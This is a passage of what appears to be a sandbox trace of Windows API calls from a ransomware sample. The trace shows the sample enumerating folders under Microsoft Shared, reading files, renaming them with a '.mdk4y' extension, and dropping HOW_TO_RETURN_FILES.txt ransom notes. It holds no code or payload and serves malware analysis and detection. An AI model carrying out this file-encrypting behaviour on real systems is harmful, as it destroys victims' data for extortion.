lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.132] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.132] AreFileApisANSI () returned 1 [0095.132] GetACP () returned 0x4e4 [0095.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.132] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.132] AreFileApisANSI () returned 1 [0095.132] GetACP () returned 0x4e4 [0095.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.132] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.133] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.133] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.137] AreFileApisANSI () returned 1 [0095.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.138] GetFileType (hFile=0x130) returned 0x1 [0095.138] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.138] AreFileApisANSI () returned 1 [0095.138] GetACP () returned 0x4e4 [0095.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="zh-TW", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="zh-TW", lpUsedDefaultChar=0x37df4c) returned 5 [0095.139] AreFileApisANSI () returned 1 [0095.139] GetACP () returned 0x4e4 [0095.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\j\x04") returned 57 [0095.139] AreFileApisANSI () returned 1 [0095.139] GetACP () returned 0x4e4 [0095.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.139] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.139] AreFileApisANSI () returned 1 [0095.139] GetACP () returned 0x4e4 [0095.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.139] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.139] AreFileApisANSI () returned 1 [0095.139] GetACP () returned 0x4e4 [0095.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.139] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.139] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.140] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.140] AreFileApisANSI () returned 1 [0095.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.140] GetFileType (hFile=0x130) returned 0x1 [0095.141] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0095.141] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0095.141] AreFileApisANSI () returned 1 [0095.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0095.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0095.142] GetFileType (hFile=0x12c) returned 0x1 [0095.143] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0095.143] AreFileApisANSI () returned 1 [0095.143] GetACP () returned 0x4e4 [0095.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSClientDataMgr", cchWideChar=15, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSClientDataMgrQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dfd8) returned 15 [0095.143] AreFileApisANSI () returned 1 [0095.143] GetACP () returned 0x4e4 [0095.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=63, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\ką") returned 63 [0095.144] AreFileApisANSI () returned 1 [0095.144] GetACP () returned 0x4e4 [0095.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\ink\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0095.144] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.144] AreFileApisANSI () returned 1 [0095.144] GetACP () returned 0x4e4 [0095.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\ink\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0095.144] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.144] AreFileApisANSI () returned 1 [0095.144] GetACP () returned 0x4e4 [0095.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSCDM.DLL", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSCDM.DLL\\Microsoft Shared\\ink\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 9 [0095.144] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0095.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817037500000) returned 1 [0095.145] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x665a0, lpOverlapped=0x0) returned 1 [0095.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817040300000) returned 1 [0095.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817040300000) returned 1 [0095.177] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.mdk4y")) returned 1 [0095.177] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0095.177] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0095.177] AreFileApisANSI () returned 1 [0095.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0095.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0095.178] GetFileType (hFile=0x12c) returned 0x1 [0095.179] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0095.179] AreFileApisANSI () returned 1 [0095.179] GetACP () returned 0x4e4 [0095.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSInfo", cchWideChar=6, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSInfontDataMgr", lpUsedDefaultChar=0x37dfd8) returned 6 [0095.179] AreFileApisANSI () returned 1 [0095.179] GetACP () returned 0x4e4 [0095.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=54, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\㖈h֠j\x04") returned 54 [0095.179] AreFileApisANSI () returned 1 [0095.179] GetACP () returned 0x4e4 [0095.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\MSClientDataMgr\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0095.179] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.179] AreFileApisANSI () returned 1 [0095.179] GetACP () returned 0x4e4 [0095.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\MSClientDataMgr\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0095.179] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.179] AreFileApisANSI () returned 1 [0095.179] GetACP () returned 0x4e4 [0095.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="en-USiles\\Microsoft Shared\\MSClientDataMgr\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 5 [0095.179] AreFileApisANSI () returned 1 [0095.179] GetACP () returned 0x4e4 [0095.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=60, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\7㖙ĺ?") returned 60 [0095.179] AreFileApisANSI () returned 1 [0095.179] GetACP () returned 0x4e4 [0095.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0095.179] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0095.180] AreFileApisANSI () returned 1 [0095.180] GetACP () returned 0x4e4 [0095.180] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0095.180] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0095.180] AreFileApisANSI () returned 1 [0095.180] GetACP () returned 0x4e4 [0095.180] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msinfo32.exe.mui", cchWideChar=16, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="msinfo32.exe.muio", lpUsedDefaultChar=0x37dec0) returned 16 [0095.180] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.181] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0095.181] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.181] AreFileApisANSI () returned 1 [0095.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7ae0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0095.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.181] GetFileType (hFile=0x130) returned 0x1 [0095.182] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.182] AreFileApisANSI () returned 1 [0095.182] GetACP () returned 0x4e4 [0095.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msinfo32.exe", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msinfo32.execrosoft Shared\\MSClientDataMgr\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 12 [0095.182] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0095.182] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0095.182] AreFileApisANSI () returned 1 [0095.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0095.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0095.183] GetFileType (hFile=0x12c) returned 0x1 [0095.184] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0095.184] AreFileApisANSI () returned 1 [0095.184] GetACP () returned 0x4e4 [0095.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OFFICE14", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OFFICE14DataMgr", lpUsedDefaultChar=0x37dfd8) returned 8 [0095.184] AreFileApisANSI () returned 1 [0095.184] GetACP () returned 0x4e4 [0095.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=56, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\֠j\x04") returned 56 [0095.185] AreFileApisANSI () returned 1 [0095.185] GetACP () returned 0x4e4 [0095.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\MSInfo\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0095.185] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.185] AreFileApisANSI () returned 1 [0095.185] GetACP () returned 0x4e4 [0095.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\MSInfo\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0095.185] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.185] AreFileApisANSI () returned 1 [0095.185] GetACP () returned 0x4e4 [0095.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="1033Files\\Microsoft Shared\\MSInfo\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 4 [0095.185] AreFileApisANSI () returned 1 [0095.185] GetACP () returned 0x4e4 [0095.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\7㖙ĺ?") returned 61 [0095.292] AreFileApisANSI () returned 1 [0095.292] GetACP () returned 0x4e4 [0095.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".ZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.292] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0095.292] AreFileApisANSI () returned 1 [0095.292] GetACP () returned 0x4e4 [0095.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..LBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.292] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0095.292] AreFileApisANSI () returned 1 [0095.292] GetACP () returned 0x4e4 [0095.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEINTL.DLL", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ACEINTL.DLLPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0095.293] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0095.293] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817052300000) returned 1 [0095.293] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x305a8, lpOverlapped=0x0) returned 1 [0095.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817057100000) returned 1 [0095.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817057100000) returned 1 [0095.343] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.mdk4y")) returned 1 [0095.344] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0095.344] AreFileApisANSI () returned 1 [0095.344] GetACP () returned 0x4e4 [0095.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEODBCI.DLL", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ACEODBCI.DLLdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0095.344] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0095.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817057400000) returned 1 [0095.344] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xcdb0, lpOverlapped=0x0) returned 1 [0095.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817060200000) returned 1 [0095.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817060200000) returned 1 [0095.373] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.mdk4y")) returned 1 